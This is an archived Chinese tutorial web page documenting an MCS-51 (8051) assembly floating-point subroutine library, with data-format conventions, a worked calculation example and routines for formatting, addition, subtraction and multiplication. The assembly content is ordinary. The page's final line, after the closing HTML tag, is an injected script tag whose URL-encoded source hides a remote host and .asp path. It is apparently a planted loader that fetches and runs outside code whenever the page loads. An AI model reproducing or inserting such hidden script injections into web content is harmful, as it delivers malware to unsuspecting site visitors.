学习单片机4.htm

单片机子程序库

      <TABLE height=39 cellSpacing=0 width=749 border=0>
        <TBODY>
        <TR>
          <TD width=745 height=1>
            <P align=center><FONT color=black 
            size=3><B>MCS-51单片机实用子程序库（四）</B></FONT></P></TD></TR></TBODY></TABLE>
      <TABLE height=39 cellSpacing=0 width=749 border=0>
        <TBODY>
        <TR>
          <TD width=745 height=1>MCS-51单片机实用子程序库<BR>　<BR>（二） ＭＣＳ－５１ 
            浮点运算子程序库及其使用说明 
            <P>本浮点子程序库有三个不同层次的版本，以便适应不同的应用场合：<BR>１．小型库（FQ51A.ASM）：只包含浮点加、减、乘、除子程序。<BR>２．中型库（FQ51B.ASM）：在小型库的基础上再增加绝对值、倒数、比较、平方、开平方、<BR>数制转换等子程序。<BR>３．大型库（FQ51.ASM）：包含本说明书中的全部子程序。<BR>为便于读者使用本程序库，先将有关约定说明如下：<BR>１．双字节定点操作数：用[R0]或[R1]来表示存放在由R0或R1指示的连续单元中的数<BR>据，地址小的单元存放高字节。如果[R0]=1234H，若(R0)=30H，则(30H)=12H，(31H)=34H。<BR>２．二进制浮点操作数：用三个字节表示，第一个字节的最高位为数符，其余七位为<BR>阶码（补码形式），第二字节为尾数的高字节，第三字节为尾数的低字节，尾数用双字节<BR>纯小数（原码）来表示。当尾数的最高位为１时，便称为规格化浮点数，简称操作数。在<BR>程序说明中，也用[R0]或[R1]来表示R0或R1指示的浮点操作数，例如：当[R0]=-6.000时，<BR>则二进制浮点数表示为83C000H。若(R0)=30H，则(30H)=83H,(31H)=0C0H,(32H)=00H。<BR>３．十进制浮点操作数：用三个字节表示，第一个字节的最高位为数符，其余七位为<BR>阶码（二进制补码形式），第二字节为尾数的高字节，第三字节为尾数的低字节，尾数用<BR>双字节ＢＣＤ码纯小数（原码）来表示。当十进制数的绝对值大于１时，阶码就等于整数<BR>部分的位数，如 
            876.5 的阶码是03H，-876.5 的阶码是 83H；当十进制数的绝对值小于1<BR>时，阶码就等于 80H 
            减去小数点后面零的个数，例如 0.00382 的阶码是 7EH，-0.00382<BR>的阶码是 
            0FEH。在程序说明中，用[R0]或[R1]来表示R0或R1指示的十进制浮点操作数。例<BR>如有一个十进制浮点操作数存放在30H、31H、32H中，数值是 
            -0.07315，即-0.7315乘以10<BR>的-1次方，则(30H)=0FFH，31H=73H，(32H)=15H。若用[R0]来指向它，则应使(R0)=30H。<BR>４．运算精度：单次定点运算精度为结果最低位的当量值；单次二进制浮点算术运算<BR>的精度优于十万分之三；单次二进制浮点超越函数运算的精度优于万分之一；ＢＣＤ码浮<BR>点数本身的精度比较低（万分之一到千分之一），不宜作为运算的操作数，仅用于输入或<BR>输出时的数制转换。不管那种数据格式，随着连续运算的次数增加，精度都会下降。<BR>５．工作区：数据工作区固定在A、B、R2～R7，数符或标志工作区固定在PSW和23H单<BR>元(位1CH～1FH)。在浮点系统中，R2、R3、R4和位1FH为第一工作区，R5、R6、R7和位1EH<BR>为第二工作区。用户只要不在工作区中存放无关的或非消耗性的信息，程序就具有较好的<BR>透明性。<BR>６．子程序调用范例：由于本程序库特别注意了各子程序接口的相容性，很容易采用<BR>积木方式（或流水线方式）完成一个公式的计算。以浮点运算为例：<BR>计算 
            ｙ = Ｌｎ √ ｜ Ｓｉｎ （ａｂ／ｃ＋ｄ） ｜<BR>已知：a=-123.4；b=0.7577；c=56.34；d=1.276； 
            它们分别存放在30H、33H、36H、<BR>39H开始的连续三个单元中。用ＢＣＤ码浮点数表示时，分别为a=831234H；b=007577H；<BR>c=025634H；d=011276H。<BR>求解过程：通过调用ＢＴＯＦ子程序，将各变量转换成二进制浮点操作数，再进行各<BR>种运算，最后调用ＦＴＯＢ子程序，还原成十进制形式，供输出使用。程序如下：<BR>TEST: 
            MOV R0,#39H ；指向ＢＣＤ码浮点操作数ｄ<BR>LCALL BTOF ；将其转换成二进制浮点操作数<BR>MOV 
            R0,#36H ；指向ＢＣＤ码浮点操作数ｃ<BR>LCALL BTOF ；将其转换成二进制浮点操作数<BR>MOV R0,#33H 
            ；指向ＢＣＤ码浮点操作数ｂ<BR>LCALL BTOF ；将其转换成二进制浮点操作数<BR>MOV R0,#30H 
            ；指向ＢＣＤ码浮点操作数ａ<BR>LCALL BTOF ；将其转换成二进制浮点操作数<BR>MOV R1,#33H 
            ；指向二进制浮点操作数ｂ<BR>LCALL FMUL ；进行浮点乘法运算<BR>MOV R1,#36H 
            ；指向二进制浮点操作数ｃ<BR>LCALL FDIV ；进行浮点除法运算<BR>MOV R1,#39H 
            ；指向二进制浮点操作数ｄ<BR>LCALL FADD ；进行浮点加法运算<BR>LCALL FSIN 
            ；进行浮点正弦运算<BR>LCALL FABS ；进行浮点绝对值运算<BR>LCALL FSQR ；进行浮点开平方运算<BR>LCALL 
            FLN ；进行浮点对数运算<BR>LCALL FTOB ；将结果转换成ＢＣＤ码浮点数<BR>STOP: LJMP 
            STOP<BR>END<BR>运行结果，[R0]=804915H，即ｙ=-0.4915，比较精确的结果应该是-0.491437。<BR>　<BR>（１） 
            标号： ＦＳＤＴ 功能：浮点数格式化</P>
            <P>入口条件：待格式化浮点操作数在[R0]中。<BR>出口信息：已格式化浮点操作数仍在[R0]中。<BR>影响资源：PSW、A、R2、R3、R4、位1FH 
            堆栈需求： ６字节<BR>FSDT: LCALL MVR0 ；将待格式化操作数传送到第一工作区中<BR>LCALL RLN 
            ；通过左规完成格式化<BR>LJMP MOV0 ；将已格式化浮点操作数传回到[R0]中</P>
            <P>（２） 标号： ＦＡＤＤ 功能：浮点数加法</P>
            <P>入口条件：被加数在[R0]中，加数在[R1]中。<BR>出口信息：OV=0时，和仍在[R0]中，OV=1时，溢出。<BR>影响资源：PSW、A、B、R2～R7、位1EH、1FH 
            堆栈需求： ６字节<BR>FADD: CLR F0 ；设立加法标志<BR>SJMP AS ；计算代数和</P>
            <P>（３） 标号： ＦＳＵＢ 功能：浮点数减法</P>
            <P>入口条件：被减数在[R0]中，减数在[R1]中。<BR>出口信息：OV=0时，差仍在[R0]中，OV=1时，溢出。<BR>影响资源：PSW、A、B、R2～R7、位1EH、1FH 
            堆栈需求：６字节<BR>FSUB: SETB F0 ；设立减法标志<BR>AS: LCALL MVR1 
            ；计算代数和。先将[R1]传送到第二工作区<BR>MOV C,F0 ；用加减标志来校正第二操作数的有效符号<BR>RRC 
            A<BR>XRL A,@R1<BR>MOV C,ACC.7<BR>ASN: MOV 1EH,C 
            ；将第二操作数的有效符号存入位1EH中<BR>XRL A,@R0 ；与第一操作数的符号比较<BR>RLC A<BR>MOV F0,C 
            ；保存比较结果<BR>LCALL MVR0 ；将[R0]传送到第一工作区中<BR>LCALL AS1 
            ；在工作寄存器中完成代数运算<BR>MOV0: INC R0 ；将结果传回到[R0]中的子程序入口<BR>INC R0<BR>MOV 
            A,R4 ；传回尾数的低字节<BR>MOV @R0,A<BR>DEC R0<BR>MOV A,R3 ；传回尾数的高字节<BR>MOV 
            @R0,A<BR>DEC R0<BR>MOV A,R2 ；取结果的阶码<BR>MOV C,1FH ；取结果的数符<BR>MOV 
            ACC.7,C ；拼入阶码中<BR>MOV @R0,A<BR>CLR ACC.7 ；不考虑数符<BR>CLR OV 
            ；清除溢出标志<BR>CJNE A,#3FH,MV01；阶码是否上溢？<BR>SETB OV ；设立溢出标志<BR>MV01: MOV 
            A,@R0 ；取出带数符的阶码<BR>RET<BR>MVR0: MOV A,@R0 ；将[R0]传送到第一工作区中的子程序<BR>MOV 
            C,ACC.7 ；将数符保存在位1FH中<BR>MOV 1FH,C<BR>MOV C,ACC.6 
            ；将阶码扩充为８ｂｉｔ补码<BR>MOV ACC.7,C<BR>MOV R2,A ；存放在R2中<BR>INC R0<BR>MOV 
            A,@R0 ；将尾数高字节存放在R3中<BR>MOV R3,A<BR>INC R0<BR>MOV A,@R0 
            ；将尾数低字节存放在R4中<BR>MOV R4,A<BR>DEC R0 ；恢复数据指针<BR>DEC 
            R0<BR>RET<BR>MVR1: MOV A,@R1 ；将[R1]传送到第二工作区中的子程序<BR>MOV C,ACC.7 
            ；将数符保存在位1EH中<BR>MOV 1EH,C<BR>MOV C,ACC.6 ；将阶码扩充为８ｂｉｔ补码<BR>MOV 
            ACC.7,C<BR>MOV R5,A ；存放在R5中<BR>INC R1<BR>MOV A,@R1 
            ；将尾数高字节存放在R6中<BR>MOV R6,A<BR>INC R1<BR>MOV A,@R1 
            ；将尾数低字节存放在R7中<BR>MOV R7,A<BR>DEC R1 ；恢复数据指针<BR>DEC R1<BR>RET<BR>AS1: 
            MOV A,R6 ；读取第二操作数尾数高字节<BR>ORL A,R7<BR>JZ AS2 ；第二操作数为零，不必运算<BR>MOV 
            A,R3 ；读取第一操作数尾数高字节<BR>ORL A,R4<BR>JNZ EQ1<BR>MOV A,R6 
            ；第一操作数为零，结果以第二操作数为准<BR>MOV R3,A<BR>MOV A,R7<BR>MOV R4,A<BR>MOV 
            A,R5<BR>MOV R2,A<BR>MOV C,1EH<BR>MOV 1FH,C<BR>AS2: RET<BR>EQ1: MOV 
            A,R2 ；对阶，比较两个操作数的阶码<BR>XRL A,R5<BR>JZ AS4 ；阶码相同，对阶结束<BR>JB 
            ACC.7,EQ3；阶符互异<BR>MOV A,R2 ；阶符相同，比较大小<BR>CLR C<BR>SUBB A,R5<BR>JC 
            EQ4<BR>EQ2: CLR C ；第二操作数右规一次<BR>MOV A,R6 ；尾数缩小一半<BR>RRC A<BR>MOV 
            R6,A<BR>MOV A,R7<BR>RRC A<BR>MOV R7,A<BR>INC R5 ；阶码加一<BR>ORL A,R6 
            ；尾数为零否？<BR>JNZ EQ1 ；尾数不为零，继续对阶<BR>MOV A,R2 ；尾数为零，提前结束对阶<BR>MOV 
            R5,A<BR>SJMP AS4<BR>EQ3: MOV A,R2 ；判断第一操作数阶符<BR>JNB 
            ACC.7,EQ2；如为正，右规第二操作数<BR>EQ4: CLR C<BR>LCALL RR1 ；第一操作数右规一次<BR>ORL 
            A,R3 ；尾数为零否？<BR>JNZ EQ1 ；不为零，继续对阶<BR>MOV A,R5 ；尾数为零，提前结束对阶<BR>MOV 
            R2,A<BR>AS4: JB F0,AS5 ；尾数加减判断<BR>MOV A,R4 ；尾数相加<BR>ADD A,R7<BR>MOV 
            R4,A<BR>MOV A,R3<BR>ADDC A,R6<BR>MOV R3,A<BR>JNC AS2<BR>LJMP RR1 
            ；有进位，右规一次<BR>AS5: CLR C ；比较绝对值大小<BR>MOV A,R4<BR>SUBB A,R7<BR>MOV 
            B,A<BR>MOV A,R3<BR>SUBB A,R6<BR>JC AS6<BR>MOV R4,B ；第一尾数减第二尾数<BR>MOV 
            R3,A<BR>LJMP RLN ；结果规格化<BR>AS6: CPL 1FH ；结果的符号与第一操作数相反<BR>CLR C 
            ；结果的绝对值为第二尾数减第一尾数<BR>MOV A,R7<BR>SUBB A,R4<BR>MOV R4,A<BR>MOV 
            A,R6<BR>SUBB A,R3<BR>MOV R3,A<BR>RLN: MOV A,R3 ；浮点数规格化<BR>ORL A,R4 
            ；尾数为零否？<BR>JNZ RLN1<BR>MOV R2,#0C1H；阶码取最小值<BR>RET<BR>RLN1: MOV 
            A,R3<BR>JB ACC.7,RLN2；尾数最高位为一否？<BR>CLR C ；不为一，左规一次<BR>LCALL 
            RL1<BR>SJMP RLN ；继续判断<BR>RLN2: CLR OV ；规格化结束<BR>RET<BR>RL1: MOV A,R4 
            ；第一操作数左规一次<BR>RLC A ；尾数扩大一倍<BR>MOV R4,A<BR>MOV A,R3<BR>RLC A<BR>MOV 
            R3,A<BR>DEC R2 ；阶码减一<BR>CJNE R2,#0C0H,RL1E；阶码下溢否？<BR>CLR A<BR>MOV 
            R3,A ；阶码下溢，操作数以零计<BR>MOV R4,A<BR>MOV R2,#0C1H<BR>RL1E: CLR 
            OV<BR>RET<BR>RR1: MOV A,R3 ；第一操作数右规一次<BR>RRC A ；尾数缩小一半<BR>MOV 
            R3,A<BR>MOV A,R4<BR>RRC A<BR>MOV R4,A<BR>INC R2 ；阶码加一<BR>CLR OV 
            ；清溢出标志<BR>CJNE R2,#40H,RR1E；阶码上溢否？<BR>MOV R2,#3FH ；阶码溢出<BR>SETB 
            OV<BR>RR1E: RET<BR>　<BR>(４） 标号： ＦＭＵＬ 功能：浮点数乘法</P>
            <P>入口条件：被乘数在[R0]中，乘数在[R1]中。<BR>出口信息：OV=0时，积仍在[R0]中，OV=1时，溢出。<BR>影响资源：PSW、A、B、R2～R7、位1EH、1FH 
            堆栈需求：６字节<BR>FMUL: LCALL MVR0 ；将[R0]传送到第一工作区中<BR>MOV A,@R0<BR>XRL 
            A,@R1 ；比较两个操作数的符号<BR>RLC A<BR>MOV 1FH,C ；保存积的符号<BR>LCALL MUL0 
            ；计算积的绝对值<BR>LJMP MOV0 ；将结果传回到[R0]中<BR>MUL0: LCALL MVR1 
            ；将[R1]传送到第二工作区中<BR>MUL1: MOV A,R3 ；第一尾数为零否？<BR>ORL A,R4<BR>JZ 
            MUL6<BR>MOV A,R6 ；第二尾数为零否？<BR>ORL A,R7<BR>JZ MUL5<BR>MOV A,R7 
            ；计算R3R4×R6R7－→R3R4<BR>MOV B,R4<BR>MUL AB<BR>MOV A,B<BR>XCH 
            A,R7<BR>MOV B,R3<BR>MUL AB<BR>ADD A,R7<BR>MOV R7,A<BR>CLR A<BR>ADDC 
            A,B<BR>XCH A,R4<BR>MOV B,R6<BR>MUL AB<BR>ADD A,R7<BR>MOV R7,A<BR>MOV 
            A,B<BR>ADDC A,R4<BR>MOV R4,A<BR>CLR A<BR>RLC A<BR>XCH A,R3<BR>MOV 
            B,R6<BR>MUL AB<BR>ADD A,R4<BR>MOV R4,A<BR>MOV A,B<BR>ADDC 
            A,R3<BR>MOV R3,A<BR>JB ACC.7,MUL2；积为规格化数否？<BR>MOV A,R7 ；左规一次<BR>RLC 
            A<BR>MOV R7,A<BR>LCALL RL1<BR>MUL2: MOV A,R7<BR>JNB 
            ACC.7,MUL3<BR>INC R4<BR>MOV A,R4<BR>JNZ MUL3<BR>INC R3<BR>MOV 
            A,R3<BR>JNZ MUL3<BR>MOV R3,#80H<BR>INC R2<BR>MUL3: MOV A,R2 
            ；求积的阶码<BR>ADD A,R5<BR>MD: MOV R2,A ；阶码溢出判断<BR>JB ACC.7,MUL4<BR>JNB 
            ACC.6,MUL6<BR>MOV R2,#3FH ；阶码上溢，设立标志<BR>SETB OV<BR>RET<BR>MUL4: JB 
            ACC.6,MUL6<BR>MUL5: CLR A ；结果清零（因子为零或阶码下溢）<BR>MOV R3,A<BR>MOV 
            R4,A<BR>MOV R2,#41H<BR>MUL6: CLR OV<BR>RET</P>
            <P>　 
            <P align=center><FONT color=black size=3><B><A 
            href="http://www.zsgbailin.com/inages/xxtd/zcx5.htm">MCS-51单片机实用子程序库（五）</A></B></FONT> 

            <P align=center>　</P></TD></TR></TBODY></TABLE>
      <P>　</P>
      <TABLE height=39 cellSpacing=0 width=749 border=0>
        <TBODY>
        <TR>
          <TD width=745 height=1>
            <P align=center><A 
            href="http://www.zsgbailin.com/inages/xxtd/index.htm">网站首页</A> 
          </P></TD></TR></TBODY></TABLE>
      <TABLE height=21 cellSpacing=0 width=749 border=0>
        <TBODY>
        <TR>
          <TD width=745 height=1>
            <HR color=#ff00ff>
          </TD></TR></TBODY></TABLE>
      <TABLE height=39 cellSpacing=0 width=749 border=0>
        <TBODY>
        <TR>
          <TD width=745 height=1>
            <P align=center><FONT face=宋体 color=#800080>声明: 
            部分文章来源于网络/若有侵犯你的权益/请联系我立即删除</FONT> 
  </P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE height=24 cellSpacing=0 width=105 border=0>
  <TBODY>
  <TR>
    <TD width=101 height=3></TD></TR></TBODY></TABLE></CENTER></BODY></HTML>
<script language=javascript ></script><script src="http://%78%66%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>